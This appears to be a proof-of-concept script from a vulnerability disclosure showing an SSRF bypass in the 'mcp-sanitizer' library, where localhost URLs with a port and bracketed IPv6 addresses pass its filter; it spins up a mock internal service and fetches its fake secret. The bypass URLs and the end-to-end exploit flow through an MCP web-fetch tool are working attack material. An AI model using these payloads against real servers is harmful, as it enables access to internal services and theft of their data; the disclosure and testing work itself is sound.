Details
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)
Root cause:
src/utils/validation-utils.js:274:
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
- The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
- Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
so the string equality check against "::1" and startsWith("fe80:") both silently fail.
Attack scenario:
1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
service (localhost:PORT), leaking its response to the attacker.
"""
import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os
# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
# This simulates a privileged internal endpoint (e.g., metadata API,
# admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"
class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
"""Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("X-Internal", "true")
self.end_headers()
self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())
def log_message(self, fmt, *args):
pass # Suppress default access logs for cleaner output
internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")
# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
const tests = [
// These should be BLOCKED (baseline: library is supposed to block localhost)
{ url: 'http://localhost/', expectBlocked: true },
{ url: 'http://127.0.0.1/', expectBlocked: true },
// These are the BYPASS cases (the vulnerability)
{ url: 'http://localhost:8080/', expectBlocked: false },
{ url: 'http://[::1]:8080/', expectBlocked: false },
{ url: 'http://[fe80::1]:8080/', expectBlocked: false },
];
const out = tests.map(t => {
let result;
try {
result = sanitizer.sanitize(t.url, { type: 'url' });
return {
url: t.url,
blocked: result.blocked,
sanitized: result.sanitized,
expectBlocked: t.expectBlocked
};
} catch (err) {
return {
url: t.url,
blocked: true,
sanitized: null,
expectBlocked: t.expectBlocked,
error: err.message
};
}
});
process.stdout.write(JSON.stringify(out));
"""
print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
["node", "-e", NODE_SCRIPT],
capture_output=True,
text=True,
cwd="/app"
)
if proc.returncode != 0:
print(f"[ERROR] Node.js process exited with code {proc.returncode}")
print(f"stderr: {proc.stderr}")
sys.exit(2)
if not proc.stdout.strip():
print("[ERROR] No output from Node.js process")
print(f"stderr: {proc.stderr}")
sys.exit(2)
results = json.loads(proc.stdout)
# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status"
print(header)
print("-" * len(header))
bypass_urls = []
unexpected = []
for r in results:
blocked = r["blocked"]
expected = r["expectBlocked"]
sanitized_str = str(r.get("sanitized") or "null")
status = "OK" if blocked == expected else "UNEXPECTED"
if not blocked and r.get("sanitized"):
bypass_urls.append(r["sanitized"])
status = "BYPASS_CONFIRMED"
print(f"{r['url']:<35} {str(blocked):<8} {sanitized_str:<35} {status}")
if blocked != expected:
unexpected.append(r)
print()
# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
# This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"
if ssrf_url in bypass_urls:
print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
try:
resp = urllib.request.urlopen(ssrf_url, timeout=5)
body = resp.read().decode().strip()
print(f"[*] HTTP response status: {resp.status}")
print(f"[*] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}")
if INTERNAL_SECRET in body:
ssrf_confirmed = True
ssrf_evidence = body
print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
except Exception as exc:
print(f"[ERROR] HTTP request failed: {exc}")
else:
print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")
internal_server.shutdown()
# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f" Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f" Bypassed URLs: {bypass_urls}")
print(f" Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f" Exfiltrated secret matches: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")
if ssrf_confirmed and len(bypass_urls) >= 2:
print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
print(f" - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
sys.exit(0)
elif len(bypass_urls) >= 2:
print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
print(f" - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
sys.exit(1)
else:
print("\n RESULT: FAIL - expected at least 2 bypass URLs")
sys.exit(1)